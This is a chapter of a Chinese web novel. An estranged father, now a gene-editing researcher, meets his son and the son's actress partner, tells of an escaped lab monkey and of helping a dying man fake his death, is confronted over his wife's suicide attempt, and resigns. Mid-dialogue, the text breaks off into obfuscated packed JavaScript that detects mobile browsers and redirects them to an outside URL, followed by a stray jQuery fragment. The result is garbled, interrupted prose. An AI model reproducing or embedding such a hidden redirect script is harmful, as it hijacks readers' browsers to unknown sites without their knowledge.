64. 第六十四章
作品:《以光为指引》 合照随着时间推移从黑白到彩色,从模糊到清晰,目光落在在最后一张,池意看到了熟悉的脸庞,她不太确定又凑近一看,那个坐在轮椅上的男人:“大伯?”
“池意小姐您认识?”工作人员恍然大悟:“哦对,你们都姓池。池先生来我们这一年了,是邬教授的朋友,他得了淋巴瘤命不久矣,医生说能活到现在已然是个奇迹。”
池意眼眶一红,邬言伸出温暖的手握紧她:“所以,解越泽也是邬教授的学生?”
工作人员顺着邬言的视线向照片看去:“应该算,不过对于邬教授,学长似乎更听池先生的话。”
他话音刚落,身后响起沉闷的嗓音:“小伟,有外人来了?”
被叫做“小伟”的,听到熟悉的声音,口罩下掩饰不住的笑意:“邬教授,他们是学长请来的。”
邬煦阳看到邬言的一瞬间,停顿了脚步,心绪复杂地喊了声:“小言。”
邬言只是淡淡点头“嗯”了一声,再没下文。
小伟左看右看觉得氛围不太对,邬煦阳打破了尴尬,笑着介绍道:“这是我儿子儿媳妇,还有我好朋友。”
“原来是您儿子,难怪我觉得长的有点像。”小伟点点头,这父子不说话的表情像一个模子刻出来的,看起来十分严苛:“那肯定也是高材生,今天过来是提前让他熟悉熟悉吗?”
小伟主观带入邬言已经进了研究院,毕竟宁清市多的是父承子业。
邬煦阳却摆摆手:“没事,小伟你先去忙吧,二组实验小白鼠状态记录一下写个报告。”
“好的。”小伟走了没几步又跑回来:“那个…”
“怎么了?”
小伟面露不好意思:“邬教授,我是池意小姐的粉丝能不能…”
邬煦阳笑了笑:“这得问她本人。”
原本在一旁做个透明人的池意站出来:“当然可以,我的荣幸。”
“我没带纸,不然你就签在这吧!”
池意看着男生背后干净的白大褂顿了顿手:“你确定?”
“一会换一件就是了,我得把它裱起来,不然被供应室阿姨给拿去用消毒水洗了。”
池意有些犹豫,但邬煦阳等人都在看着自己又不好意思拒绝,刚准备下笔,邬言从衣服内袋拿出了一张她的明信片,垫在小伟背后。
池意一愣,以为对方变戏法变出来了,不过自己还是很快签完名后交给了小伟,他看到是明信片就更开心了。
邬煦阳看小伟屁颠屁颠跑走的背影心里对池意不耍大牌的性子加了分:“我们家小言居然找了个明星,是他的福气啊。”
池意耳根子一红:“没有。”
邬煦阳准备带他们去教学楼逛一逛,他和范开济走前面,两人讲话声不大不小后面两个都听得到。
范开济环顾四周:“你这几年就是在这里过的吗?”
“是。”
范开济感慨:“当年我替你向小言他们隐瞒你还活着的事,却没想到你离开之后就跟人间蒸发一样。”
邬煦阳回想当年差点让整个社会陷入恐慌的事,至今都是一把冷汗:“研究院发生了一些事,不能说,我们被封闭在里面一年多才能联系外界。”
五年前,邬煦阳外出帮别人入殓时从山上摔了下来,后来阴差阳错被他的大学老师救下了,昏迷了一周多。在跟老师聊天时,他就问是否愿意加入研究院,改变人类命运。
邬煦阳本身就对长生有些心动,抱着一日为师终身为父,救命之恩当涌泉相报的想法答应了他。
但这是个保密工程,亲朋好友都不可告知,邬煦阳干脆直接书信一封给范开济,说自己有一项重大研究,结束日期不得而知,只当他死了,最后拜托范开济照看姚诗和邬言。
邬煦阳不知道自己当时那草率的决定,寥寥无几的话语,便是姚诗悲剧的开始。
邬煦阳进入研究院的第一个月,就发生了大事。被改变基因进行观察的实验猴失踪了,这对所有人来说无疑是当头一棒。
且不说一只16万身价的实验猴有贵,而是他们不知道,出逃的实验猴会不会进行变异,会不会在逃跑过程中携带了其他病毒,如果跑出研究院和外界接触,后果将不堪设想。
国家高层领导把责任人都批了一顿,邬煦阳的老师也被撤职了,研究院封闭,派专业人士在院内和周围进行地毯式搜索,所有人不得外出,没收一切电子设备,防止信息外泄,有心人揣测,陷入社会恐慌。
找寻一个月,最后是无人机在研究院附近的一棵近20米的香樟树顶上找到的。
也庆幸这里地处偏僻,没造成大的影响,实验猴抓回来检查完身体后,就被实施了安乐死。毕竟这种实验猴所接触到的任何环境都会对实验结果产生巨大影响,更会有潜在的危险。
研究院解封后邬煦阳拿到手机,就弹出了范开济轰炸般的短信和未接电话。
他这才知道姚诗出事了,只是为时已晚,他去医院找人,护士告知姚诗早就转院了。
然而意外地,在那里见到了病危的池博超,碰见康妙晴给他下药。
邬煦阳趁人不注意把药换了,于是说动了池博超用假死这个方法逃离池家这个漩涡,并保证自己一定能救活他。
邬煦阳原以为对方不会同意,却没想到跟他提出了个交易。
池博超说自己愿意为国家科研做贡献,他这条命本就活不了多久,如果能救更多人他愿意。
只是池博超想死之前看到康家的衰败,永绝后患,算是给池氏和池家人一个交代,这是他一辈子沉迷于琴棋书画而留下的遗憾,没能帮到家里的忙,还让弟弟一家骨肉分离。
邬煦阳隐瞒了一些研究院的事,池意重点却在后半段:“叔叔,您,之前就跟我大伯认识?”
邬煦阳点了点头:“何止认识。他的老师我的岳父,也就是小言外公。他求学的时候乡下住了一段时间,我和姚姚当时也在,只不过小言那时候住在爷爷奶奶家。”
“是沁江村吗?”池意神色有些激动。
“是啊,你居然还记得。”邬煦阳倒是意外:“博超有跟我说过他带着儿子和侄女过来玩了,只是不巧,小言当时发高烧我们回了市里,不然也能见到。”
池意和邬煦阳聊了一会儿她才发现一旁的邬言默不作声。
等空气安静,邬言才缓缓开口:“你这几年去精神康复院看望过妈几次?”
邬煦阳眼眶微红记得清清楚楚:“十二次。”
“难怪妈总会隔三差五说你过来了,我还以为她是伤心过度。”邬言笑了笑,但那比哭还难看。
“我没想到这事对她身心带来这么大的影响。”
那句“没想到”像是踩重了邬言的雷点:“没想到?你自以为是的离开,让我妈自尽未遂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383787|168517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若不是张妈及时赶到,你现在就不是在这跟我们畅谈研究成果,而是抱着她的墓碑哭了,到那时你研究的这些能派上用场吗?”
“邬言。”池意被他的声音吓到了,一直以来的邬言喜怒不显于色,不管发生什么他都是冷静思考且寡言少语,发火的时候少之又少,一身西装给人是肃木和敬畏。
池意小声地喊了一声,邬言这才冷静下来,眼前三人神色各异地看着自己,邬言点了点头,沉重地吐出了句:“对不起。”
范开济不愿他们父子俩结下仇,从口袋里拿出一个红色塑料袋:“小言,家庭和事业不能两全,你爸是做的有些欠缺,但也默默为你们在背后付出了很多。”
红色塑料袋里是这几年范开济帮邬煦阳做的那些事存下来的发票,各种颜色都有,有些年代久远字迹已经糊了。
比如邬言读大学时户口迁去外地,本来不符合现在宁清市人才引进住房条件,除了邬言自己的实力还有一半原因是邬煦阳在跑了很多地方,才让邬言有了现在这套房子。
再比如,邬煦阳把自己赚的大部分都交给了精神康复院。也难怪当时护士说普通病房住满了腾出一个vip病房,理由却是因为邬言是高材生,所以姚诗可以按照普通病房钱来交。
除了医药费,怕被邬言发现端倪,其余姚诗的开销都从邬煦阳的帐户里流出。
“这些是我该做的没什么好说的。”邬煦阳有些惶恐,他搓着自己的双手讪笑:“是我亏欠了你们,怨恨我也是应该的。”
邬言捏紧那些发票,像是烫在了自己心口上,却还是没原谅:“没有怨恨,我妈已经忘记你了。”
“范老师,我们走吧。”邬言牵起池意的手就走,这时她才感受到邬言身体有些颤抖。
他们刚走出几步,邬煦阳就跟上来:“我,我送送你们。”
邬煦阳实验做久了腿部落下了疾病,不一会儿就跟邬言等人拉出了距离,池意不放心回头看了一眼,邬言也有意识地放慢了步伐。
邬煦阳感觉到离他们好像近了些这才笑笑,擦了擦额头的薄汗,忍着疼痛加快步伐。
给人送到门口时,小伟急匆匆从里面跑出来:“邬教授,您是要走了吗?”
他手上抱着个纸箱子:“学长说您辞职了,他让我把这个给您。”
邬言等人听到这话皆是一愣。
“是。”邬煦阳今天过来就为了这事,虽然东西已经整理好了,但没找到机会和他们讲,现在算是个契机吧:“小伟,我带的这届博士生里就属你最调皮,也是最聪明,好好做实验,再打碎仪器,院长扒你的皮我可护不了你了。”
小伟抿着唇他至今不敢相信,邬教授居然真的离开了研究院:“邬教授,您不是说长生是您的执念没研究成功绝不走吗?”
“方法有了,就离成功也不远,我老了,那些成果都转交给越泽,你们就跟着他好好干。”
邬煦阳抬头看了看门口的牌匾,只是太阳照下来,他有些看不清。
想起刚才他把自己那用到模糊的工作证交给院长的那一刻,心里有不舍也有释怀:“希望有一天能在诺贝尔奖金的获奖名单上再次看到我们中国科研人员的名字。”
邬煦阳转身离开前留下一句话:“或许,我们研究的不是长生,而是让基因编辑技术治疗医学上无法攻克的难题,让人们有健康有质量的活着,更加珍惜生命。”